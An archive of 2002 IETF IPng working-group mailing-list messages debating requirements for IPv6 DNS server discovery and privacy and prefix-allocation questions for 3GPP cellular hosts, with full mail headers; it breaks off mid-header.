sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TELfrP001082; Mon, 29 Apr 2002 07:21:41 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TELf9F001081; Mon, 29 Apr 2002 07:21:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TELbrP001074 for ; Mon, 29 Apr 2002 07:21:37 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA01147 for ; Mon, 29 Apr 2002 07:21:40 -0700 (PDT) Received: from cichlid.adsl.duke.edu (dhcp-4-181.ripemtg.ripe.net [193.0.4.181]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22879 for ; Mon, 29 Apr 2002 08:21:39 -0600 (MDT) Received: from cichlid.adsl.duke.edu (narten@localhost) by cichlid.adsl.duke.edu (8.11.6/8.11.6) with ESMTP id g3TEIf303036; Mon, 29 Apr 2002 10:18:41 -0400 Message-Id: <200204291418.g3TEIf303036@cichlid.adsl.duke.edu> To: Bob Hinden cc: Rob Austein , ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: Message from Bob Hinden of "Fri, 26 Apr 2002 15:38:35 PDT." <4.3.2.7.2.20020426153458.0204bcd0@mailhost.iprg.nokia.com> Date: Mon, 29 Apr 2002 10:18:40 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > There are issues raised in solutions like this to insure that the > co-located services are adequately tied together. For example in case of a > "DHCP server in the DNS server" the processes need to be tied together in a > manner that the DHCP process would not provide the address of the DNS > server if the DNS server process was down. Or that the DHCP server not > provide the addresses for other DNS serves unless it knows that they are up > and available. To clarify, are you saying that it is a requirement that a DNS server discovery mechanism only return the addresses of servers that are currently functioning? If so, I think this needs to be discussed more, because I think there are alternatives that may well also be acceptable. In the case of DNS, it is not required that a client have a single address of a single DNS server that is up and running. In practice, a client has the addresses of 2 or 3 DNS servers, and switches from one that is not working to one that is working as needed. Thus, it seems quite acceptable for a DNS server discovery mechanism (whether DHCP or something else) to return a list of candidate DNS servers (all of which will _hopefully_ be working, but _some_ of which may _not_), and let the client resolver do its normal thing to find a working server. Note, if a DNS server discovery mechanism returns a single working server, the client is likely to cache the result for some time anyway. If that server goes down, the client now has the address of a non-working server, so it needs to deal with the problem of non-working servers already. Given this, it's not clear to me what the benefits are to require a DNS discovery mechanism _only_ return DNS servers that are current functioning. Clearly, some coupling will be needed between the DNS server providing service and the DNS discovery mechanisms advertisement of that service. But it's not clear to me that a tight coupling (e.g., must reside on same node, be part of the DNS process, etc.) is necessary either. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 07:35:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TEZirP001332; Mon, 29 Apr 2002 07:35:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TEZh7v001331; Mon, 29 Apr 2002 07:35:43 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TEZerP001324 for ; Mon, 29 Apr 2002 07:35:40 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09000 for ; Mon, 29 Apr 2002 07:35:42 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA12734 for ; Mon, 29 Apr 2002 08:35:41 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3TEZes7002168 for ; Mon, 29 Apr 2002 16:35:41 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 29 16:35:18 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBT5D89>; Mon, 29 Apr 2002 16:35:17 +0200 Message-ID: <795A014AF92DD21182AF0008C7A404320DFBF0A7@esealnt117> From: "Karim El-Malki (ERA)" To: "'Margaret Wasserman'" , john.loughney@nokia.com Cc: ipng@sunroof.eng.sun.com Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Mon, 29 Apr 2002 16:33:03 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Do the 3GPP specifications explicitly state that the GGSN > must not allocate any > addresses within the allocated prefix? If so, in which document? The reference to the 3GPP docs which state this is in draft-ietf-ipv6-3gpp-recommend-02. It's the TS 23.060 specs. /Karim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 07:48:03 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TEm2rP001449; Mon, 29 Apr 2002 07:48:02 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TEm2WX001448; Mon, 29 Apr 2002 07:48:02 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TElxrP001441 for ; Mon, 29 Apr 2002 07:47:59 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07334 for ; Mon, 29 Apr 2002 07:48:01 -0700 (PDT) Received: from mhs99ykf.rim.net (c109.rim.net [206.51.26.109]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10593 for ; Mon, 29 Apr 2002 08:48:01 -0600 (MDT) Received: from ngw04ykf.rim.net (ngw04ykf.rim.net [10.102.100.115]) by mhs99ykf.rim.net (Postfix) with SMTP id 7B6E7B470F for ; Mon, 29 Apr 2002 10:48:00 -0400 (EDT) Received: from PGS02YKF.rim.net ([10.101.20.231]) by ngw04ykf.rim.net (NAVGW 2.5.2.9) with SMTP id M2002042910480227541 ; Mon, 29 Apr 2002 10:48:02 -0400 Received: from xch02ykf.rim.net [10.101.20.37] by PGS02YKF.rim.net [10.101.20.231] (CMSPraetor 5.10.4411) with ESMTP id 1303C42DA51B4938B58FC989502D7984 ; Mon, 29 Apr 2002 10:47:53 -0400 Received: by xch02ykf.rim.net with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 10:47:53 -0400 From: Craig Dunk To: "Hesham Soliman (ERA)" , "'Margaret Wasserman'" Cc: "'ipng@sunroof.eng.sun.com'" Message-ID: <05BEA41254F24A4CBA66E811CDD3AD9C0265F6C3@xch08ykf> Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Mon, 29 Apr 2002 10:47:51 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Comment below: > > > > What does this mean? I thought that laptops would be able > > > > to generate privacy addresses using randomly allocated > > identifiers. > => Sure. This is still allowed when following the paragraph in the draft. The draft is referring to the PPP negotiation, which is concerned with the interface id for link local addresses only. There is no mandate to use the same iid for other scopes of adresses. So privacy is still preserved for addresses with scopes larger than the link scope. ----------- I saw a privacy comment in the past (sorry, can't source the original author) that suggested that because of the procedure for address assignment where only one host allocates addresses within the prefix that there was no privacy benefit to regenerating interface identifier portion of the addresses since (for example) traffic analysis would just be done on prefix matching. Does this (paraphrased) assessment seem correct? I wouldn't want 3GPP to mandate a behaviour that they would believe contributed to identity privacy but, based on some other procedure, did not. Craig. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 08:08:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TF81rP001513; Mon, 29 Apr 2002 08:08:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TF81ur001512; Mon, 29 Apr 2002 08:08:01 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TF7vrP001505 for ; Mon, 29 Apr 2002 08:07:57 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA12825 for ; Mon, 29 Apr 2002 08:08:00 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA05850 for ; Mon, 29 Apr 2002 08:07:59 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3TF7w0E016231 for ; Mon, 29 Apr 2002 17:07:58 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Mon Apr 29 17:07:31 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 16:56:52 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACE5@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Craig Dunk'" , "Hesham Soliman (ERA)" , "'Margaret Wasserman'" Cc: "'ipng@sunroof.eng.sun.com'" Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Mon, 29 Apr 2002 17:07:29 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > => Sure. This is still allowed when following the > paragraph in the draft. The draft is referring to > the PPP negotiation, which is concerned with the > interface id for link local addresses only. There is > no mandate to use the same iid for other scopes > of adresses. So privacy is still preserved for addresses > with scopes larger than the link scope. > I saw a privacy comment in the past (sorry, can't source > the original > author) that suggested that because of the procedure for > address assignment > where only one host allocates addresses within the prefix > that there was no > privacy benefit to regenerating interface identifier portion of the > addresses since (for example) traffic analysis would just > be done on prefix > matching. > > Does this (paraphrased) assessment seem correct? I wouldn't > want 3GPP to > mandate a behaviour that they would believe contributed to > identity privacy > but, based on some other procedure, did not. => But the person tracking would have to know that the host is a 3GPP host. Otherwise, they won't know that it has a prefix for itself. BTW, this is not specific to 3GPP, the same can be done with home networks. A house that gets a /48 can also be tracked by the same method. Hesham > > > Craig. > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 08:23:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TFNhrP001557; Mon, 29 Apr 2002 08:23:43 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TFNhD5001556; Mon, 29 Apr 2002 08:23:43 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TFNerP001549 for ; Mon, 29 Apr 2002 08:23:40 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA28703 for ; Mon, 29 Apr 2002 08:23:43 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01724 for ; Mon, 29 Apr 2002 08:23:43 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id IAA19775; Mon, 29 Apr 2002 08:23:43 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3TFNfQ07440; Mon, 29 Apr 2002 08:23:41 -0700 X-mProtect: <200204291523> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (198.77.202.22, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdwYxXLu; Mon, 29 Apr 2002 08:23:39 PDT Message-Id: <4.3.2.7.2.20020429081126.02ef0b58@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Apr 2002 08:22:19 -0700 To: Thomas Narten From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <200204291418.g3TEIf303036@cichlid.adsl.duke.edu> References: <4.3.2.7.2.20020426153458.0204bcd0@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thomas, At 07:18 AM 4/29/2002, Thomas Narten wrote: > > There are issues raised in solutions like this to insure that the > > co-located services are adequately tied together. For example in case > of a > > "DHCP server in the DNS server" the processes need to be tied together > in a > > manner that the DHCP process would not provide the address of the DNS > > server if the DNS server process was down. Or that the DHCP server not > > provide the addresses for other DNS serves unless it knows that they > are up > > and available. > >To clarify, are you saying that it is a requirement that a DNS server >discovery mechanism only return the addresses of servers that are >currently functioning? If so, I think this needs to be discussed >more, because I think there are alternatives that may well also be >acceptable. I did not state it as a requirement. I was discussing it under the heading of "Desirable aspects" of a solution. I wrote in the last paragraph of my email: "Picking a specific solution requires evaluating the strengths and weaknesses of the specific solution. I think this falls into the "Desirable aspects" part of the text, as opposed to the basic requirement." Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 09:15:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGFGrP001906; Mon, 29 Apr 2002 09:15:16 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TGFG7Y001905; Mon, 29 Apr 2002 09:15:16 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGFDrP001898 for ; Mon, 29 Apr 2002 09:15:13 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA27668 for ; Mon, 29 Apr 2002 09:15:14 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA29363 for ; Mon, 29 Apr 2002 10:15:13 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3TGFB0E009592 for ; Mon, 29 Apr 2002 18:15:12 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 29 18:15:07 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 18:04:27 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACEE@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Mon, 29 Apr 2002 18:14:59 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > At Fri, 26 Apr 2002 15:38:35 -0700, Bob Hinden wrote: > > > > There are issues raised in solutions like this to insure that the > > co-located services are adequately tied together. For > example in case of a > > "DHCP server in the DNS server" the processes need to be > tied together in a > > manner that the DHCP process would not provide the > address of the DNS > > server if the DNS server process was down. Or that the > DHCP server not > > provide the addresses for other DNS serves unless it > knows that they are up > > and available. > > I suspect that upon close examination all solutions will have issues > along these lines (anycast certainly does). => How does anycast have this problem? Specifically, how does the DNS discovery draft have this problem? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 09:39:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGdTrP001965; Mon, 29 Apr 2002 09:39:30 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TGdTJ6001964; Mon, 29 Apr 2002 09:39:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGdQrP001957 for ; Mon, 29 Apr 2002 09:39:26 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13228 for ; Mon, 29 Apr 2002 09:39:28 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA00635 for ; Mon, 29 Apr 2002 09:39:28 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 141671CA1 for ; Mon, 29 Apr 2002 12:39:27 -0400 (EDT) Date: Mon, 29 Apr 2002 12:39:26 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6ACEE@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACEE@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020429163927.141671CA1@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 29 Apr 2002 18:14:59 +0200, Hesham Soliman wrote: > > How does anycast have this problem? Specifically, how does the DNS > discovery draft have this problem? Server location via anycast means that one is using the routing system to keep track of the location of the DNS server. That is, the location of the DNS server is (somehow) injected into the routing system, and the routing system is now responsible for handing out that information to any client that wants to know. If the server goes down, moves, whatever, the DNS server becomes unreachable until the routing system converges on a new useful answer, and how exactly does the routing system know that the DNS server is gone, anyway? Does the DNS server now have to speak OSPFv3, or is there some human sitting at a 24x7 desk somewhere waiting to push a button on failure, or what? One could certainly build a system this way, but I'm not convinced that it's more robust than the other options we've been discussing. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 09:53:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGrJrP002004; Mon, 29 Apr 2002 09:53:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TGrI18002001; Mon, 29 Apr 2002 09:53:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TGrCrP001990 for ; Mon, 29 Apr 2002 09:53:12 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18606 for ; Mon, 29 Apr 2002 09:53:14 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA25156 for ; Mon, 29 Apr 2002 10:53:08 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3TGr4s7015058 for ; Mon, 29 Apr 2002 18:53:04 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 29 18:53:03 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBT52A8>; Mon, 29 Apr 2002 18:53:03 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACF3@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Mon, 29 Apr 2002 18:53:00 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Server location via anycast means that one is using the > routing system > to keep track of the location of the DNS server. That is, the > location of the DNS server is (somehow) injected into the routing > system, and the routing system is now responsible for > handing out that > information to any client that wants to know. If the server goes > down, moves, whatever, the DNS server becomes unreachable until the > routing system converges on a new useful answer, => Correct. This is the case for all traffic going through a certain 'path' in a network. and how > exactly does > the routing system know that the DNS server is gone, > anyway? Does the > DNS server now have to speak OSPFv3, or is there some human > sitting at > a 24x7 desk somewhere waiting to push a button on failure, or what? => There were several mechanisms shown in the analysis draft to allow this to happen without a human monitoring the wire. 1. The DNS can inject a route. Do you see problems with this? 2. Using Neighbour discovery and periodic solicitations. Most people in the DT didn't like this option. 3. The cleanest way: extensions to MLD to allow a node to join an anycast group. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 10:37:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3THbirP002082; Mon, 29 Apr 2002 10:37:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3THbhKp002081; Mon, 29 Apr 2002 10:37:43 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3THberP002074 for ; Mon, 29 Apr 2002 10:37:41 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA11218 for ; Mon, 29 Apr 2002 10:37:43 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23561 for ; Mon, 29 Apr 2002 11:37:42 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 99A601C46 for ; Mon, 29 Apr 2002 13:37:41 -0400 (EDT) Date: Mon, 29 Apr 2002 13:37:41 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6ACF3@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF3@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020429173741.99A601C46@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 29 Apr 2002 18:53:00 +0200, Hesham Soliman wrote: > > 1. The DNS can inject a route. Do you see problems > with this? Well, "the DNS" doesn't do routes, but I assume you meant the DNS server. Yes, there are issues: a) DNS server now has to implement one or more routing protocols, which is a lot more code than, say, a stub DHCP server. b) What's the security model by which the router decides whether to accept routing updates from the DNS server? > 2. Using Neighbour discovery and periodic solicitations. > Most people in the DT didn't like this option. > > 3. The cleanest way: extensions to MLD to allow a node > to join an anycast group. These are both polling approaches, right? Exactly the same issues Bob suggested apply to the co-resident DHCP approach apply here: how tightly coupled does the thing you're polling have to be to the service you're providing in order for the poll to tell you whether the service itself is available? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 10:45:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3THjtrP002130; Mon, 29 Apr 2002 10:45:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3THjtav002129; Mon, 29 Apr 2002 10:45:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3THjqrP002122 for 